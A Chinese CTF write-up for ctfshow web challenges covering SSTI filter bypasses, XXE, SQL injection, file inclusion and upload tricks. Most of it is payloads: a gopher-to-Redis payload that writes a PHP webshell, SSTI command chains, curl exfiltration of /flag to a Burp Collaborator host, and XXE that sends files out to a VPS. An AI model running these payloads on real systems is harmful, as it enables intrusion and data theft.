gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

SSTI

这些题好像都是python flask的ssti,没有其他类型的

1
2
3
4
5
6
7
8
9
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base____mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".__class__}},得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__mro__[1].__subclasses__()}}
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>

<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

4、实例化我们找到的类对象
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类
__init__ 初始化类,返回的类型是function

5、找到这个实例化对象的所有方法
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__ 使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

web361

可以直接直接利用flask的一个方法:lipsum,在lipsum.__globals__含有os模块,套用下面的payload,环境变量里就能看到flag

1
?name={{lipsum.__globals__['os'].popen('env').read()}}

或者

1
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

过滤了2、3等数字,os._wrap_close这个类没法使用

依旧可行

1
?name={{lipsum.__globals__['os'].popen('env').read()}}

尝试利用subprocess.Popen()

1
?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}

或者使用全角绕过数字,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def translate_digits(s):
mapping = str.maketrans("0123456789", "0123456789")
return s.translate(mapping)

def translate_letters_encode(s):
mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙")
return s.translate(mapping)

def translate_letters_fullangle(s):
mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
return s.translate(mapping)

s = "{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"
s = translate_digits(s)
print(s)
1
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

这里面的数字和正常的数字不一样

web363

过滤了单双引号,get传参绕过

1
?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag
1
?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /*f*

web364

过滤了args换values,或Cookie

1
?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag
1
2
?name={{lipsum.__globals__[request.cookies.a].popen(request.cookies.b).read()}}
Cookie传: a=os;b=cat /*f*

web365

过滤了方括号,可以直接写上os不用方括号

1
2
?name={{lipsum.__globals__.os.popen(request.cookies.b).read()}}
Cookie传: b=cat /*f*

或者用__getitem__绕过

1
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

web366

过滤了下划线,可以使用attr方法

1
?name={{(lipsum|attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

过滤了os,可以通过get来获取

1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368

{{被过滤,使用{%%}绕过,再借助print()回显

1
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /flag

web369

禁掉了request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
构造po="pop"     #利用dict()|join拼接得到,"po" 键的值是变量 a 的值,"p" 键的值也是变量 a 的值。然后通过 |join 过滤器将字典的键值对拼接成一个字符串。
{% set po=dict(po=a,p=a)|join%}

等效于a=(()|select|string|list).pop(24),即a等价于下划线_(使用一系列过滤器(select、string、list)然后执行了 .pop(24) 操作,即从该对象的列表中弹出索引为 24 的元素。)|attr(po) 这一部分是在模板引擎中获取变量 po 所指示的属性或方法
{% set a=(()|select|string|list)|attr(po)(24)%}

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web370

在原来的基础上过滤了数字,用之前那个全角bypass就行了

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

过滤print

使用curl进行外带,采用bp的collaborator client

1
curl -X POST -F xx=@/flag u0viuzdbtbsztpdeh893j5ah58byzn.burpcollaborator.net

将上面的字符替换char

抄一下大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
string = input("你要输入的字符串:")
result = ''
def str2chr(s):
global result
for i in s:
result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])
1
chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(117)%2bchr(48)%2bchr(118)%2bchr(105)%2bchr(117)%2bchr(122)%2bchr(100)%2bchr(98)%2bchr(116)%2bchr(98)%2bchr(115)%2bchr(122)%2bchr(116)%2bchr(112)%2bchr(100)%2bchr(101)%2bchr(104)%2bchr(56)%2bchr(57)%2bchr(51)%2bchr(106)%2bchr(53)%2bchr(97)%2bchr(104)%2bchr(53)%2bchr(56)%2bchr(98)%2bchr(121)%2bchr(122)%2bchr(110)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)

然后就是老样子构造命令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(117)%2bchr(48)%2bchr(118)%2bchr(105)%2bchr(117)%2bchr(122)%2bchr(100)%2bchr(98)%2bchr(116)%2bchr(98)%2bchr(115)%2bchr(122)%2bchr(116)%2bchr(112)%2bchr(100)%2bchr(101)%2bchr(104)%2bchr(56)%2bchr(57)%2bchr(51)%2bchr(106)%2bchr(53)%2bchr(97)%2bchr(104)%2bchr(53)%2bchr(56)%2bchr(98)%2bchr(121)%2bchr(122)%2bchr(110)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}

web372

过滤count,用上一题的payload就可以了

XXE

开始前先看看文章,了解一下什么是xxe:https://virusday.github.io/2020/11/18/XXE%E6%80%BB%E7%BB%93/XXE%E6%80%BB%E7%BB%93/

web373

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

error_reporting(0);
// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
// 创建了一个新的DOMDocument对象,用于解析XML
$dom = new DOMDocument();
// 加载xml实体,参数为替代实体、加载外部子集,LIBXML_NOENT用于禁用实体扩展,以防止XXE(XML外部实体)攻击,而LIBXML_DTDLOAD用于允许加载DTD(文档类型定义)。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象,以便访问XML数据
$creds = simplexml_import_dom($dom);
// 节点嵌套,XML对象指向ctfshow的元素标签
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

由此可以构造出payload:

1
2
3
4
5
6
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

bp传就可以了

web374

1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

少了

1
2
3
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;

不能直接回显了,可以用xml多次外带将数据外带到自己的vps上

在web根目录下新建三个文件:xxe.xml,xxe.php,flag.txt

xxe.xml:

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://vps的ip/xxe.php?1=%file;'"
>
%all;

xxe.php:

1
2
3
4
5
6
7
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".base64_decode($content));
}else{
echo 'no data input';
}

这种情况不用管,浏览器解析问题

然后bp发包

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps的ip/xxe.xml">
%remote;
%send;
]>

web375

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

加了点过滤,但其实上一题的payload还能用

web376

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

之前的payload依旧可以

web377

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

相比上一题多过滤了 http 头,利用 utf-16 编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://61c44505-76fa-4f81-961f-5c556b56fa97.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps的ip/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

访问/doLogin,post传参

1
2
3
4
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>

注意:Content-Type: application/xml

WEB

web部分

web4

考察 日志注入 文件包含

1
<?php include($_GET['url']);?>

看到代码一开始以为是伪协议,但尝试了一下发现不行

试了一下,发现可以查看日志记录

1
http://86371388-c80b-4158-8b62-113d782e117b.challenge.ctf.show/?url=/var/log/nginx/access.log

看起来是成功了,蚁键连接

拿到flag

web5

md5弱比较

0e绕过 常用的MD5加密后以0E开头的有

QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

!ctype_alpha($v1)限制v1只能包含字母

!is_numeric($v2)限制v2只能包含数字

传参

1
http://5f8e5f79-72e8-4c86-aad4-49c755eafc28.challenge.ctf.show/?v1=QNKCDZO&v2=240610708

拿到flag

web6

fuzz一下,过滤了空格和or

空格用/**/代替就好了

其他就是按步骤来就行了

想要注意一下回显位只有2

1
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3#

web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = "http://2151dc54-36a4-42c9-9678-bf9786979ef0.challenge.ctf.show/index.php?id=-1/**/or/**/"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'
# payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'
# payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'
payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'
r = requests.get(url + payload)
if "By Rudyard Kipling" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)


web9

sql注入与MD5(raw)的特殊结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>


原题和这个差不多,https://blog.csdn.net/March97/article/details/81222922

传入特殊值ffifdyop (raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c)构成万能密码,实现登录

web10

点击取消,得到源码,发现过滤了好多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>


with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null

1
username=1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

构造这样,导致null=null

绕过if($password==$row[‘password’])

web11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>


把cookie清空了,再输入空密码

构造null=null就可以了

web12

提示了?cmd=,直接试试

1
?cmd=system("ls");

发现不行,再试试?cmd=phpinfo();

发现禁用了一些函数,包括刚才的system

php语法中:

print_r(glob(“*”)):直接打印出来当前目录下的所有文件

highlight_file :高亮文件内容

于是直接查看有哪些文件,再看文件内容

1
highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

红包题第二弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

好家伙过滤怎么多,但是唯独没过滤字母p,有点奇怪

看下大佬的wp,又涨知识了

临时文件的命名规则

在上传存储到临时目录后,临时文件命名的规则如下:
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。

PHP上传机制:

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

现在再来看这个:

1
?cmd=?><?=`.%20/??p/p?p??????`;

在php中,<? ?>称为短标签,<?php ?>称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。

开头的?>: <?=又是一个短标签,在eval中相当于一段php代码,你得要把前面的<?php给闭合了啊,所以会有一个?>

在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,否则会出错。这里就是将.%20/??p/p?p??????当shell命令执行

最后就是.%20/??p/p?p??????模糊匹配 .就是linux中来执行命令的

相当于. /tmp/php??????

所以说最后的思路就是,先提交一个能执行shell的文件到tmp目录,再用模糊匹配去执行shell,进而执行我们想要的命令

先在前端页面插入:

1
2
3
4

<form action="http://8feb7574-7863-4195-9aeb-4c0c586c51d1.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />

再上传构造好的文件

然后传构造好的cmd=,就得到了flag,注意细节

web13

能下载备份文件upload.php.bak,查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

发现限制文件名不能为大小写的 php,文件大小被限制为小于24,文件名字长度<=9,文件后缀<=3

再看一下是nignx服务,开启了fastCGI。

所以思路是构造一个.user.ini文件并上传,然后上传txt木马,之后就会在各目录都有txt木马并被解析(在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。)

.user.ini文件:

1
2
GIF89a
auto_prepend_file=1.txt

大小超了,去掉GIF89a就可以了

蚁剑不行,直接POST吧,好吧system应该又被禁了哈哈哈

换print_r(glob(“*”)) 和highlight_file

web14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
include("secret.php");

if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}

highlight_file(__FILE__);

传c=3进入下一阶段,here_1s_your_f1ag.php

还是sql注入,源码给了查询语句的一部分,空格、information_schema.columns和information_schema_tables等被过滤了

直接内联注释绕过就好了/*!code*/

1
query=-1/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema./*!columns*//**/where/**/table_name='content')
1
query=-1/**/union/**/select/**/(select/**/group_concat(password)/**/from/**/web.content)

哇去,被耍了,没发现flag,但提示在secret,那应该是在secret.php

1
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

提示了here_1s_your_f1ag.php

再去读得到flag

1
-1/**/union/**/select/**/load_file('/real_flag_is_here')

web红包题第六弹

扫目录,扫到web.zip。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function receiveStreamFile($receiveFile){

$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';

if(empty($streamData)){
$streamData = file_get_contents('php://input');
}

if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}

return $ret;

}
if(md5(date("i")) === $token){

$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}

$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;


简单分析一下,date(“i”)是表示当前分钟的意思,需要让$token和md5加密后的它相等。

再判断两个文件的md5值是否相等,而且sha1值不同。这里用并发编程,将$receiveFile中的内容在极短时间内进行替换来绕过

网上找的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
import hashlib
import threading

#这里为什么用分钟数生成:因为通过抓包发现改变分钟后token值才会变化
i=str(time.localtime().tm_min)
#生成token
m=hashlib.md5(i.encode()).hexdigest()
url="http://063e4649-b8da-4090-8a6b-da6b11fa5f07.challenge.ctf.show/check.php?token={}&php://input".format(m)

def POST(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
pass
# print(r.text)
pass
except Exception as e:
print("somthing went wrong!")
pass
pass

with open('key.dat','rb') as t:
data1=t.read()
pass
for i in range(50):
threading.Thread(target=POST,args=(data1,)).start()
for i in range(50):
data2='emmmmm'
threading.Thread(target=POST,args=(data2,)).start()

红包题第七弹

目录扫描,扫到了/.git/index

访问下载下来

本来以为是git泄露,但是不知道为什么自己的githack一直clone不了(看别人Git_Extract好像可以获取源码)

发现backdoor.php路径,再去访问

说了有后门,原来就是Letmein(后门),蚁剑连接,在/var/www/flag.txt,但是查看不了

然后用POST传参,highlight_file就可以了

萌新专属红包题

账号admin 密码admin888

登录查看网络,发现check.php的响应标识头有一个flag

1
Y3Rmc2hvd3swMjY0NTNkNC0zOWNmLTQwYzMtOTEyMy03YzEyYmU3NWY2Nzh9

base64解密得到flag

CTFshow web1

提示了flag在指定用户的密码中。

